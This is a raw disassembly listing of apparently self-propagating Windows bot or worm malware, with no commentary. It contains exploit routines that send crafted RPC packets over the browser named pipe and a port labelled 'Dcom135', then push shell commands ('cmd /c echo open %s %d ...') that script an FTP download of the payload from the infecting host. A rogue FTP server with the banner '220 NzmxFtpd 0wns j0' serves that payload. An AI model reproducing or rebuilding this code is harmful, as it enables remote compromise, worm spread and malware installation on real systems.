var_AE		= word ptr -0AEh
var_AC		= dword	ptr -0ACh
var_A8		= word ptr -0A8h
var_A6		= word ptr -0A6h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= word ptr -9Ch
var_9A		= byte ptr -9Ah
var_98		= byte ptr -98h
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= qword	ptr -68h
var_60		= word ptr -60h
var_5C		= byte ptr -5Ch
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_45		= byte ptr -45h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= qword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 60DCh
		call	sub_417830
		push	ebx
		push	esi
		push	edi
		push	offset a_	; "."
		push	[ebp+arg_0]
		call	sub_418490
		pop	ecx
		xor	ebx, ebx
		test	eax, eax
		pop	ecx
		mov	esi, 2000h
		jz	short loc_404975
		push	[ebp+arg_0]
		lea	eax, [ebp+var_20DC]
		push	offset loc_427670
		push	esi
		push	eax
		call	sub_41752A
		push	20h
		lea	eax, [ebp+var_DC]
		push	ebx
		push	eax
		call	sub_417030
		lea	eax, [ebp+var_20DC]
		add	esp, 1Ch
		mov	[ebp+var_C8], eax
		mov	eax, offset byte_43BCE8
		push	ebx
		push	eax
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		call	sub_422740

loc_404975:				; CODE XREF: sub_404904+28j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_40DC]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41752A
		add	esp, 10h
		lea	eax, [ebp+var_40DC]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	dword_423084	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4049B9

loc_4049B2:				; CODE XREF: sub_404904+25Cj
					; sub_404904+35Ej ...
		xor	al, al
		jmp	loc_404DF5
; ---------------------------------------------------------------------------

loc_4049B9:				; CODE XREF: sub_404904+ACj
		push	48h
		lea	eax, [ebp+var_B8]
		push	ebx
		push	eax
		call	sub_417030
		push	10h
		xor	edi, edi
		pop	eax
		inc	edi
		mov	[ebp+var_B4], eax
		push	eax
		lea	eax, [ebp+var_98]
		push	offset dword_427C94
		push	eax
		mov	[ebp+var_B8], 5
		mov	[ebp+var_B7], bl
		mov	[ebp+var_B6], 0Bh
		mov	[ebp+var_B5], 3
		mov	[ebp+var_B0], 48h
		mov	[ebp+var_AE], bx
		mov	[ebp+var_AC], ebx
		mov	[ebp+var_A8], 10B8h
		mov	[ebp+var_A6], 10B8h
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_A0], edi
		mov	[ebp+var_9C], bx
		mov	[ebp+var_9A], 1
		call	sub_417090
		push	10h
		lea	eax, [ebp+var_84]
		push	offset dword_427C80
		push	eax
		mov	[ebp+var_88], 3
		call	sub_417090
		add	esp, 24h
		lea	eax, [ebp+var_BC]
		mov	[ebp+var_74], 2
		push	ebx
		push	eax
		lea	eax, [ebp+var_B8]
		push	48h
		push	eax
		push	[ebp+var_4]
		call	dword_42307C	; WriteFile
		test	eax, eax
		jz	loc_404B57
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_60DC]
		push	esi
		push	eax
		push	[ebp+var_4]
		call	dword_423074	; ReadFile
		push	ebx
		call	sub_4183B1
		push	eax
		call	sub_417008
		push	14h
		lea	eax, [ebp+var_70]
		push	41h
		push	eax
		call	sub_417030
		push	1Ch
		lea	eax, [ebp+var_30]
		push	41h
		push	eax
		call	sub_417030
		add	esp, 20h
		call	sub_417012
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_70], eax
		mov	dword ptr [ebp+var_68+4], edi
		mov	dword ptr [ebp+var_68],	ebx
		lea	esi, [esi+esi*4]
		mov	[ebp+var_6C], edi
		shl	esi, 2
		mov	[ebp+var_60], bx
		mov	[ebp+var_28], ebx
		cmp	byte_427C28[esi], bl
		jz	short loc_404B03
		push	4
		mov	[ebp+var_24], edi
		mov	[ebp+var_2C], edi
		push	offset dword_43BD00
		jmp	short loc_404B13
; ---------------------------------------------------------------------------

loc_404B03:				; CODE XREF: sub_404904+1EEj
		push	2
		pop	eax
		push	4
		mov	[ebp+var_24], eax
		mov	[ebp+var_2C], eax
		push	(offset	loc_427C77+1)

loc_404B13:				; CODE XREF: sub_404904+1FDj
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_417090
		add	esp, 0Ch
		call	sub_417012
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp+var_30], edx
		call	sub_417012
		cdq
		idiv	edi
		mov	eax, dword_427C1C[esi]
		mov	[ebp+var_18], ebx
		push	eax
		mov	[ebp+arg_0], eax
		inc	edx
		mov	[ebp+var_1C], edx
		call	sub_417889
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jnz	short loc_404B65

loc_404B57:				; CODE XREF: sub_404904+182j
		push	[ebp+var_4]
		call	dword_423078	; CloseHandle
		jmp	loc_4049B2
; ---------------------------------------------------------------------------

loc_404B65:				; CODE XREF: sub_404904+251j
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_417030
		mov	eax, [ebp+arg_0]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_417030
		mov	eax, dword_427C24[esi]
		push	7
		add	eax, edi
		push	offset dword_427C10
		push	eax
		mov	[ebp+arg_4], eax
		call	sub_417090
		mov	eax, [ebp+arg_4]
		push	15Ch
		add	eax, 7
		push	offset dword_427AB0
		push	eax
		call	sub_417090
		mov	eax, dword_427C20[esi]
		add	esp, 30h
		mov	[ebp+arg_4], eax
		add	eax, edi
		cmp	byte_427C28[esi], bl
		jz	short loc_404C16
		push	4
		push	offset dword_43BCFC
		push	eax
		call	sub_417090
		add	[ebp+arg_4], 0Ch
		mov	esi, offset dword_427C40
		mov	eax, [ebp+arg_4]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_417090
		mov	eax, [ebp+arg_4]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+arg_4], eax
		call	sub_417090
		mov	eax, [ebp+arg_4]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_417090
		add	esp, 30h
		jmp	short loc_404C3C
; ---------------------------------------------------------------------------

loc_404C16:				; CODE XREF: sub_404904+2C5j
		mov	[ebp+arg_4], eax
		mov	[ebp+var_8], 10h
		mov	esi, offset dword_427C40

loc_404C25:				; CODE XREF: sub_404904+336j
		push	4
		push	esi
		push	[ebp+arg_4]
		call	sub_417090
		add	[ebp+arg_4], 4
		add	esp, 0Ch
		dec	[ebp+var_8]
		jnz	short loc_404C25

loc_404C3C:				; CODE XREF: sub_404904+310j
		mov	eax, [ebp+arg_0]
		add	eax, 42h
		push	eax
		call	sub_417889
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp+var_8], esi
		jnz	short loc_404C67
		push	[ebp+var_4]
		call	dword_423078	; CloseHandle
		push	edi
		call	sub_41793B
		pop	ecx
		jmp	loc_4049B2
; ---------------------------------------------------------------------------

loc_404C67:				; CODE XREF: sub_404904+34Cj
		mov	eax, [ebp+arg_0]
		add	eax, 42h
		push	eax
		push	ebx		; double
		push	esi
		call	sub_417030
		lea	eax, [ebp+var_70]
		push	14h
		push	eax
		push	esi
		call	sub_417090
		mov	eax, [ebp+arg_0]
		mov	dword ptr [ebp+var_10+4], ebx
		mov	dword ptr [ebp+var_10],	eax
		add	esp, 10h
		fild	[ebp+var_10]
		fmul	flt_42328C
		fstp	[esp+0Ch+var_10+4]
		call	sub_417AEB
		call	sub_417AC4
		push	[ebp+arg_0]
		mov	[esi+1Ch], eax
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		mov	[esi+18h], ebx
		call	sub_417090
		mov	eax, [ebp+arg_0]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+arg_4], eax
		jz	short loc_404CD1

loc_404CC9:				; CODE XREF: sub_404904+3C8j
		inc	eax
		test	al, 3
		jnz	short loc_404CC9
		mov	[ebp+arg_4], eax

loc_404CD1:				; CODE XREF: sub_404904+3C3j
		lea	ecx, [ebp+var_30]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_417090
		add	[ebp+arg_4], 1Ch
		push	edi
		call	sub_41793B
		push	18h
		lea	eax, [ebp+var_48]
		push	ebx
		push	eax
		call	sub_417030
		push	14h
		lea	eax, [ebp+var_5C]
		push	ebx
		push	eax
		mov	[ebp+var_48], 5
		mov	[ebp+var_47], bl
		mov	[ebp+var_46], bl
		mov	[ebp+var_45], 3
		mov	[ebp+var_44], 10h
		mov	[ebp+var_3E], bx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_34], bx
		mov	[ebp+var_32], 1Fh
		call	sub_417030
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	dword_423090	; CreateEventA
		mov	[ebp+var_4C], eax
		mov	byte ptr [ebp+arg_0+3],	bl
		mov	dword ptr [ebp+var_10+4], ebx

loc_404D3E:				; CODE XREF: sub_404904+4C4j
		cmp	dword ptr [ebp+var_10+4], 2
		jge	loc_404DD3
		push	1
		push	10B8h
		push	[ebp+arg_4]
		inc	dword ptr [ebp+var_10+4]
		push	esi
		lea	esi, [ebp+var_48]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+var_4]
		rep movsd
		call	sub_404816
		add	esp, 2Ch
		test	al, al
		jz	short loc_404DD0
		cmp	[ebp+var_4C], ebx
		jz	short loc_404DC2
		lea	eax, [ebp+var_5C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_60DC]
		push	2000h
		push	eax
		push	[ebp+var_4]
		call	dword_423074	; ReadFile
		test	eax, eax
		jnz	short loc_404DA9
		call	dword_42308C	; RtlGetLastWin32Error
		cmp	eax, 3E5h
		jnz	loc_4049B2

loc_404DA9:				; CODE XREF: sub_404904+492j
		push	3E8h
		push	[ebp+var_4C]
		call	dword_423088	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_404DC2
		mov	byte ptr [ebp+arg_0+3],	1

loc_404DC2:				; CODE XREF: sub_404904+471j
					; sub_404904+4B8j
		cmp	byte ptr [ebp+arg_0+3],	bl
		mov	esi, [ebp+var_8]
		jz	loc_404D3E
		jmp	short loc_404DD3
; ---------------------------------------------------------------------------

loc_404DD0:				; CODE XREF: sub_404904+46Cj
		mov	esi, [ebp+var_8]

loc_404DD3:				; CODE XREF: sub_404904+43Ej
					; sub_404904+4CAj
		push	[ebp+var_4]
		mov	edi, dword_423078
		call	edi	; CloseHandle
		push	esi
		call	sub_41793B
		cmp	[ebp+var_4C], ebx
		pop	ecx
		jz	short loc_404DEF
		push	[ebp+var_4C]
		call	edi	; CloseHandle

loc_404DEF:				; CODE XREF: sub_404904+4E4j
		cmp	byte ptr [ebp+arg_0+3],	bl
		setnz	al

loc_404DF5:				; CODE XREF: sub_404904+B0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404904	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404DFA	proc near		; CODE XREF: .data:00404F11p
					; .data:00404FD1p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417030
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4231FC	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	dword_423224	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_423214	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_404EC8
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_42321C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404EC8
		mov	edi, 400h
		push	esi
		mov	esi, dword_423204
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_42E9B8
		push	eax
		push	eax
		push	dword_43BD0C
		push	[ebp+arg_0]
		call	sub_40AD08
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41752A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_423208	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404ECC

loc_404EC8:				; CODE XREF: sub_404DFA+50j
					; sub_404DFA+62j
		xor	eax, eax
		jmp	short loc_404EE3
; ---------------------------------------------------------------------------

loc_404ECC:				; CODE XREF: sub_404DFA+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	dword_423220	; closesocket
		xor	eax, eax
		inc	eax

loc_404EE3:				; CODE XREF: sub_404DFA+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404DFA	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx

loc_404EED:				; CODE XREF: .data:00404F33j
		lea	eax, [esp+14h]
		push	ebx
		push	eax
		call	sub_404904
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_404F20
		push	65h
		lea	esi, [esp+14h]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_404DFA
		add	esp, 0C0h
		test	eax, eax
		jnz	short loc_404F3B

loc_404F20:				; CODE XREF: .data:00404EFCj
		test	ebx, ebx
		jnz	short loc_404F2F
		push	7D0h
		call	dword_423064	; Sleep

loc_404F2F:				; CODE XREF: .data:00404F22j
		inc	ebx
		cmp	ebx, 2
		jb	short loc_404EED
		xor	eax, eax

loc_404F37:				; CODE XREF: .data:00404F3Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_404F3B:				; CODE XREF: .data:00404F1Ej
		xor	eax, eax
		inc	eax
		jmp	short loc_404F37
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		mov	word ptr [ebp-10h], 2
		call	dword_43EB64	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-0Ch], eax
		call	dword_43EB24	; htons
		push	6
		push	1
		push	2
		mov	[ebp-0Eh], ax
		call	dword_423214	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_404FB2
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	esi
		call	dword_42321C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404F93
		push	esi
		jmp	short loc_404FAC
; ---------------------------------------------------------------------------

loc_404F93:				; CODE XREF: .data:00404F8Ej
		push	0
		push	1213h
		push	offset dword_427CC0
		push	esi
		call	dword_423208	; send
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404FB6

loc_404FAC:				; CODE XREF: .data:00404F91j
		call	dword_423220	; closesocket

loc_404FB2:				; CODE XREF: .data:00404F7Cj
		xor	eax, eax
		jmp	short loc_404FF4
; ---------------------------------------------------------------------------

loc_404FB6:				; CODE XREF: .data:00404FAAj
		call	dword_423220	; closesocket
		push	216Bh
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_404DFA
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_404FF1
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		lea	eax, dword_429D68[eax]
		inc	dword ptr [eax]

loc_404FF1:				; CODE XREF: .data:00404FDEj
		xor	eax, eax
		inc	eax

loc_404FF4:				; CODE XREF: .data:00404FB4j
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FF8	proc near		; CODE XREF: .data:004051F4p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417030
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43EB64	; inet_addr
		mov	[ebp+var_C], eax
		mov	ax, word_4290A4
		push	eax
		call	dword_43EB24	; htons
		push	edi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_43EBA4	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_40510F
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43EACC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40510F
		mov	ebx, 400h
		push	edi
		lea	eax, [ebp+var_5A0]
		push	ebx
		push	eax
		push	esi
		call	dword_43EB3C	; recv
		push	dword_43BD0C
		push	[ebp+arg_0]
		call	sub_40AD08
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41752A
		add	esp, 14h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	esi
		call	dword_43EB74	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40510F
		push	1F4h
		call	dword_423064	; Sleep
		push	offset byte_42E9B8
		push	offset dword_4275E0
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41752A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	esi
		call	dword_43EB74	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405113

loc_40510F:				; CODE XREF: sub_404FF8+51j
					; sub_404FF8+67j ...
		xor	al, al
		jmp	short loc_40512D
; ---------------------------------------------------------------------------

loc_405113:				; CODE XREF: sub_404FF8+115j
		push	0
		lea	eax, [ebp+var_5A0]
		push	ebx
		push	eax
		push	esi
		call	dword_43EB3C	; recv
		push	esi
		call	dword_43EBBC	; closesocket
		mov	al, 1

loc_40512D:				; CODE XREF: sub_404FF8+119j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404FF8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		call	dword_4231F8	; gethostbyname
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40515C
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4231FC	; inet_addr
		mov	ebx, eax
		jmp	short loc_405162
; ---------------------------------------------------------------------------

loc_40515C:				; CODE XREF: .data:0040514Cj
		mov	ebx, [ebp+0C0h]

loc_405162:				; CODE XREF: .data:0040515Aj
		push	11h
		push	2
		push	2
		call	dword_423214	; socket
		test	esi, esi
		mov	edi, eax
		jz	short loc_40518C
		movsx	eax, word ptr [esi+0Ah]
		push	eax
		mov	eax, [esi+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_417090
		add	esp, 0Ch
		jmp	short loc_40518F
; ---------------------------------------------------------------------------

loc_40518C:				; CODE XREF: .data:00405172j
		mov	[ebp-0Ch], ebx

loc_40518F:				; CODE XREF: .data:0040518Aj
		test	esi, esi
		jz	short loc_40519D
		mov	ax, [esi+8]
		mov	[ebp-10h], ax
		jmp	short loc_4051A3
; ---------------------------------------------------------------------------

loc_40519D:				; CODE XREF: .data:00405191j
		mov	word ptr [ebp-10h], 2

loc_4051A3:				; CODE XREF: .data:0040519Bj
		push	599h
		call	dword_423224	; htons
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	edi
		call	dword_42321C	; connect
		test	eax, eax
		jnz	loc_40526E
		push	eax
		push	1C9h
		push	offset loc_428ED8
		push	edi
		call	dword_423208	; send
		push	3E8h
		call	dword_423064	; Sleep
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_404FF8
		add	esp, 0BCh
		test	al, al
		jz	short loc_405208
		xor	eax, eax
		inc	eax
		jmp	short loc_405280
; ---------------------------------------------------------------------------

loc_405208:				; CODE XREF: .data:00405201j
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aDcom135 ; "Dcom135"
		push	eax
		push	offset unk_429114
		lea	eax, [ebp-210h]
		push	200h
		push	eax
		call	sub_41752A
		push	0
		lea	eax, [ebp-210h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40D476
		lea	eax, [ebp-210h]
		push	eax
		call	sub_40BD8D
		mov	eax, [ebp+0B0h]
		add	esp, 2Ch
		imul	eax, 3Ch
		lea	eax, dword_429D68[eax]
		inc	dword ptr [eax]
		jmp	short loc_40527E
; ---------------------------------------------------------------------------

loc_40526E:				; CODE XREF: .data:004051C1j
		push	1
		push	edi
		call	dword_4231F4	; shutdown
		push	edi
		call	dword_423220	; closesocket

loc_40527E:				; CODE XREF: .data:0040526Cj
		xor	eax, eax

loc_405280:				; CODE XREF: .data:00405206j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405285	proc near		; DATA XREF: sub_4070A3+227o

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_134		= byte ptr -134h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6DC]
		inc	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A6C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_24], ebx
		mov	[ebp+var_28], ebx
		mov	[ebp+var_238], edi
		mov	[ebp+var_438], edi
		call	dword_4231E0	; WSAStartup
		push	edi
		call	sub_4183B1
		push	eax
		call	sub_417008
		push	0FEB0h
		push	406h
		call	sub_4151D8
		add	esp, 10h
		mov	dword_43BD0C, eax
		push	edi
		push	ebx
		push	2
		call	dword_423214	; socket
		mov	esi, eax
		lea	eax, [ebp+var_24]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		call	dword_4231E4	; setsockopt
		lea	eax, [ebp+var_28]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_423218	; ioctlsocket
		mov	ax, word ptr dword_43BD0C
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		call	dword_423224	; htons
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		call	dword_4231E8	; bind
		test	eax, eax
		jge	short loc_40535A
		mov	eax, ebx
		jmp	loc_405865
; ---------------------------------------------------------------------------

loc_40535A:				; CODE XREF: sub_405285+CCj
		push	0Ah
		push	esi
		call	dword_4231EC	; listen
		mov	[ebp+var_238], ebx
		mov	ebx, dword_423208
		mov	[ebp+var_234], esi
		mov	[ebp+var_4], esi

loc_405378:				; CODE XREF: sub_405285+12Aj
					; sub_405285+5D8j
		push	41h
		lea	esi, [ebp+var_238]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	edi, edi
		lea	eax, [ebp+var_438]
		push	edi
		push	edi
		push	edi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	dword_42320C	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_405862
		cmp	[ebp+var_4], edi
		mov	[ebp+arg_0], edi
		jl	short loc_405378

loc_4053B1:				; CODE XREF: sub_405285+5D2j
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_417030
		push	64h
		lea	eax, [ebp+var_AC]
		push	esi
		push	eax
		call	sub_417030
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_422746	; __WSAFDIsSet
		test	eax, eax
		jz	loc_405850
		cmp	edi, [ebp+var_C]
		jnz	short loc_40545A
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_134]
		push	eax
		push	[ebp+var_C]
		call	dword_4231F0	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_405850
		mov	edx, [ebp+var_238]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_40542C

loc_40541E:				; CODE XREF: sub_405285+1A5j
		cmp	[ebp+ecx*4+var_234], eax
		jz	short loc_40542C
		inc	ecx
		cmp	ecx, edx
		jb	short loc_40541E

loc_40542C:				; CODE XREF: sub_405285+197j
					; sub_405285+1A0j
		cmp	ecx, edx
		jnz	short loc_405442
		cmp	edx, 40h
		jnb	short loc_405442
		mov	[ebp+ecx*4+var_234], eax
		inc	[ebp+var_238]

loc_405442:				; CODE XREF: sub_405285+1A9j
					; sub_405285+1AEj
		cmp	eax, [ebp+var_4]
		jle	short loc_40544A
		mov	[ebp+var_4], eax

loc_40544A:				; CODE XREF: sub_405285+1C0j
		push	esi
		push	15h
		push	offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_405850
; ---------------------------------------------------------------------------

loc_40545A:				; CODE XREF: sub_405285+167j
		push	esi
		lea	eax, [ebp+var_29C]
		push	64h
		push	eax
		push	edi
		call	dword_423204	; recv
		test	eax, eax
		jg	short loc_4054B7
		mov	ecx, [ebp+var_238]
		xor	eax, eax
		cmp	ecx, esi
		jbe	short loc_4054AB

loc_40547B:				; CODE XREF: sub_405285+202j
		cmp	[ebp+eax*4+var_234], edi
		jz	short loc_4054A0
		inc	eax
		cmp	eax, ecx
		jb	short loc_40547B
		jmp	short loc_4054AB
; ---------------------------------------------------------------------------

loc_40548B:				; CODE XREF: sub_405285+21Ej
		mov	ecx, [ebp+eax*4+var_230]
		mov	[ebp+eax*4+var_234], ecx
		mov	ecx, [ebp+var_238]
		inc	eax

loc_4054A0:				; CODE XREF: sub_405285+1FDj
		dec	ecx
		cmp	eax, ecx
		jb	short loc_40548B
		dec	[ebp+var_238]

loc_4054AB:				; CODE XREF: sub_405285+1F4j
					; sub_405285+204j
		push	edi
		call	dword_423220	; closesocket
		jmp	loc_405850
; ---------------------------------------------------------------------------

loc_4054B7:				; CODE XREF: sub_405285+1E8j
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aSS	; "%s %s"
		push	eax
		call	sub_418752
		lea	eax, [ebp+var_AC]
		push	offset aUser_0	; "USER"
		push	eax
		call	sub_4173D0
		add	esp, 18h
		test	eax, eax
